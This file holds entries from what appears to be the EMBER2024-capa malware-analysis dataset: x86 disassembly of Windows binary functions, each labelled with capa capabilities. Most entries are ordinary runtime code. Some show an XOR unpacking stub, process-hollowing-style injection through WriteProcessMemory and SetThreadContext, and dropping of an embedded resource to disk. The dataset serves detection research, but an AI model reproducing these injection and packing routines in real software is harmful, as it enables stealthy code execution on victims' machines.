joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100fff69
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1011f0e8
push 0x1011f0e0
push str.FlsAlloc
push 0x1f
call fcn.100ffdd4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100fff9d
push dword [ebp + 8]
mov ecx, esi
call dword [0x101152d8]
call esi
jmp 0x100fffa3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100fffe7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1011f0f8
push 0x1011f0f0
push str.FlsGetValue
push 0x21
call fcn.100ffdd4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1010001e
push dword [ebp + 8]
mov ecx, esi
call dword [0x101152d8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10100026
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1011f100
push 0x1011f0f8
push str.FlsSetValue
push 0x22
call fcn.100ffdd4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10100060
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x101152d8]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]

Function at 0x101000fe
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.GetTempPath2W
push 0x1011efd4
push str.GetTempPath2W
push 5
call fcn.100ffdd4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10100138
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x101152d8]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetTempPathW]
Function at 0x10102b3e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10102bdb
push ebx
push esi
call fcn.10102b07
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10100f09
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10102b88
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10102bda
push edi
push eax
call fcn.100fa5ff
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10102ba8
call fcn.100fa64d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10102bd9
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10100f09
add esp, 0x20
test eax, eax
jne 0x10102bc7
push edi
call fcn.100fa64d
jmp 0x10102bcf
push ebx
call fcn.100fa64d
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10102bde
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x10102bef
pop esi
ret
push ebx
push edi
push esi
call fcn.10102b07
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.100fa5ff
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10102c17
push ebx
push esi
push edi
call fcn.100cf410
add esp, 0xc
push 0
call fcn.100fa64d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10103371
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10102e8c
Function at 0x10109d60
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.100fac8c
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10109dcf
cmp esi, dword [ebp - 4]
je 0x10109dca
cmp dword [ebp + 0xc], 0
je 0x10109dca
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10109da7
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.101098b2
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10109dd1
xor eax, eax
inc eax
jmp 0x10109dd1
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10109e36
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10130040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.100fac8c
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100fac8c
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10109ead
cmp word [ecx], dx
je 0x10109ead
mov eax, dword [0x1011fb34]
push edi
dec eax
push eax
push 0x1011fa20
call fcn.10109dd5
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x10109f20
cmp word [eax], dx
je 0x10109f20
mov eax, dword [edi]
test eax, eax
je 0x10109ed1
cmp word [eax], dx
je 0x10109ed1
lea eax, [ebp - 0x10]
push eax
call fcn.101097b8
jmp 0x10109eda
lea eax, [ebp - 0x10]
push eax
call fcn.10109853
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10109f4a
mov eax, dword [0x1011fa1c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x1011f710
call fcn.10109dd5
add esp, 0xc
test al, al
je 0x10109f4a
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x10109f15
cmp word [eax], di
je 0x10109f15
lea eax, [ebp - 0x10]
push eax
call fcn.101097b8
pop ecx
jmp 0x10109f4c
lea eax, [ebp - 0x10]
push eax
call fcn.10109853
jmp 0x10109f12
mov eax, dword [edi]
test eax, eax
je 0x10109f37
cmp word [eax], dx
je 0x10109f37
lea eax, [ebp - 0x10]
push eax
call fcn.1010976d
pop ecx
jmp 0x10109f4a
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x1010a015
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10109c5a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1010a015
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x1010a015
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x1010a015
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10109fa2
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.10100244
test ebx, ebx
je 0x1010a010
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.10100244
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1010a015
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1010a015
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.10105b11
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1010a017
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100819e4
leave
ret
Function at 0x1010cb0f
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1010ca8b
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1010cc7e
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1010cc7e
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1010cc33
jg 0x1010cb6b
test eax, eax
je 0x1010cc29
push 1
push 0x1000
call fcn.100ff201
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1010cb8e
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1010cc20
push 0x8000
push ebx
call fcn.1010c9bc
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1010cbb7
jg 0x1010cbb2
cmp ecx, 0x1000
jb 0x1010cbb7
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1010436a
add esp, 0x10
cmp eax, 0xffffffff
je 0x1010cbfc
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1010cbb2
jl 0x1010cbe3
test ecx, ecx
jne 0x1010cba4
push dword [ebp - 0xc]
push ebx
call fcn.1010c9bc
push esi
call fcn.100fa64d
add esp, 0xc
xor ebx, ebx
jmp 0x1010cc8c
cmp byte [edi + 0x24], 0
je 0x1010cc13
cmp dword [edi + 0x20], 5
jne 0x1010cc13
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1010cc1e
mov ebx, dword [edi + 0x18]
jmp 0x1010cc20
xor ebx, ebx
push esi
call fcn.100fa64d
pop ecx
jmp 0x1010cc8c
test ecx, ecx
jg 0x1010cbf5
jl 0x1010cc33
test eax, eax
jae 0x1010cbf5
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10105014
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1010cc53
cmp byte [edi + 0x1c], 0
je 0x1010cbf5
jmp 0x1010cc84
push ebx
call fcn.10107c6e
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1010cbf5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1010cc8c
cmp byte [edi + 0x1c], 0
je 0x1010cc89
mov ebx, dword [edi + 0x18]
jmp 0x1010cc8c
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10105014
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1010f370
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1010f39d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1010f39d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp int.00401219
Function at 0x430470
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x96c
mov eax, dword [0x82f084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x260], 0x44
push 0
push eax
call fcn.00690480
movups xmm0, xmmword [0x761b18]
mov ax, word [0x761b30]
push 0x1ee
mov word [ebp - 0x1f8], ax
lea eax, [ebp - 0x1f6]
movups xmmword [ebp - 0x210], xmm0
push 0
movq xmm0, qword [0x761b28]
push eax
movq qword [ebp - 0x200], xmm0
call fcn.00690480
add esp, 0x18
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x260]
push eax
push 0
push 0
push 0x44
push 0
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x430650
mov eax, dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov dword [ebp - 0x760], eax
mov eax, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov dword [ebp - 0x758], eax
mov eax, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
mov dword [ebp - 0x754], eax
mov eax, dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0
mov dword [ebp - 0x750], eax
lea eax, [ebp - 0x764]
push 0
push eax
push dword [ebp - 0x540]
mov dword [ebp - 0x75c], ebx
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
push 0x104
lea eax, [ebp - 0x74c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0x530]
mov ecx, 0x80
push eax
push dword [ebp - 0x53c]
mov esi, 0x430400
lea edi, [ebp - 0x964]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x530], 0x10003
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov esi, dword [ebp - 0x46c]
add esi, 0xfffffbdc
and esi, 0xffffffe0
mov dword [ebp - 0x968], esi
lea eax, [esi - 4]
mov dword [ebp - 0x46c], eax
lea eax, [esi + 4]
mov dword [ebp - 0x478], eax
lea eax, [ebp - 0x214]
push eax
push 0x40
push 0x424
push esi
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
push 0
push 0x424
lea eax, [ebp - 0x968]
push eax
push esi
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push 0x424
push esi
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
lea eax, [ebp - 0x530]
push eax
push dword [ebp - 0x53c]
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push dword [ebp - 0x53c]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push dword [ebp - 0x53c]
call ebx
push dword [ebp - 0x540]
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0067d681
mov esp, ebp
pop ebp
ret
Function at 0x436500
Capabilities:
Check if file exists
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6d4189
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x82f084]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov ecx, esi
mov eax, dword [ebp + 0x10]
mov ebx, dword [ebp + 0x14]
mov edi, dword [ebp + 0x18]
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0
call fcn.0043ca60
mov dword [ebp - 4], 0
cmp dword [edi + 0x10], 0
mov dword [ebp - 0x1c], 1
je 0x43657a
push ecx
mov edx, edi
mov ecx, esi
call fcn.0060f9d0
mov ecx, esi
call fcn.0060ff00
add esp, 4
push ecx
mov edx, ebx
mov ecx, esi
call fcn.0060f9d0
mov edi, dword [0x854fc0]
add esp, 4
test edi, edi
je 0x436628
push dword [ebp - 0x18]
movzx eax, word [ebp + 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x436628
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
je 0x436628
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push ebx
push edi
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
cmp dword [esi + 0x14], 8
mov ebx, eax
mov ecx, esi
jb 0x4365d4
mov ecx, dword [esi]
push 0
push 0x200080
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
test edi, edi
je 0x436628
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
test eax, eax
jne 0x436611
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x436628
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x436621
mov eax, dword [esi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0067d681
mov esp, ebp
pop ebp
ret 0x14
Function at 0x438f40
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x82f084]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push 0xc
xor eax, eax
mov dword [esp + 0x18], 0
push str._C_taskmgr__
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0042fe00
cmp dword [esp + 0x18], 8
lea eax, [esp + 4]
push 0
cmovae eax, dword [esp + 8]
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
lea ecx, [esp + 4]
setg bl
call fcn.0042fd70
mov ecx, dword [esp + 0x1c]
mov al, bl
pop ebx
xor ecx, esp
call fcn.0067d681
mov esp, ebp
pop ebp
ret
Function at 0x440060
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x440146
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x440135
jg 0x4400a0
test edx, edx
je 0x440135
nop dword [eax]
call fcn.00441520
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x4400f4
jg 0x4400b7
test esi, esi
je 0x4400f4
cmp ebx, eax
jg 0x4400c7
jl 0x4400c1
cmp edi, esi
jae 0x4400c7
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.0068f980
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x440119
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
movzx eax, byte [eax]
push eax
call dword [edx + 0xc]
cmp eax, 0xffffffff
je 0x44012f
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x4400a0
jl 0x44012f
test edi, edi
jne 0x4400a0
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x440168
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x44016a
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x4401e8
jg 0x44017d
test esi, esi
je 0x4401e8
test eax, eax
jl 0x4401c2
jg 0x440187
test ebx, ebx
je 0x4401c2
cmp edi, eax
jg 0x440197
jl 0x440191
cmp esi, ebx
jae 0x440197
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.0068f980
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
add edx, ebx
sub esi, ebx
mov eax, dword [ecx + 0x30]
sbb edi, dword [esp + 0x14]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
jmp 0x4401c5
mov edx, dword [ebp + 8]
test edi, edi
jl 0x4401e8
jg 0x4401cf
test esi, esi
je 0x4401e8
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x4401e8
push eax
push esi
push 1
push edx
call fcn.00698451
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x440730
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x82f084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x440760
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0067d681
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x44079c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x44079c
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0067d681
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x440883
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x4407c4
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4407f7
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.00697072
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0067d681
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
test eax, eax
js 0x440883
cmp eax, 1
jle 0x440856
cmp eax, 3
jne 0x440883
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.00697072
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0067d681
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x440873
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00698451
add esp, 0x10
cmp edi, eax
jne 0x440883
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x440787
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0067d681
mov esp, ebp
pop ebp
ret 4
Function at 0x441240
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x82f084]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x4412fa
cmp byte [esi + 0x3d], 0
je 0x4412fa
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x4412e8
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x4412b0
sub eax, 1
je 0x4412b4
sub eax, 2
jne 0x4412e8
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0067d681
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x4412d1
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00698451
add esp, 0x10
cmp edi, eax
jne 0x4412e8
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0067d681
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0067d681
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0067d681
mov esp, ebp
pop ebp
ret

Function at 0x441950
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6d5180
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x82f084]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0067d692
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0067ecbb
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
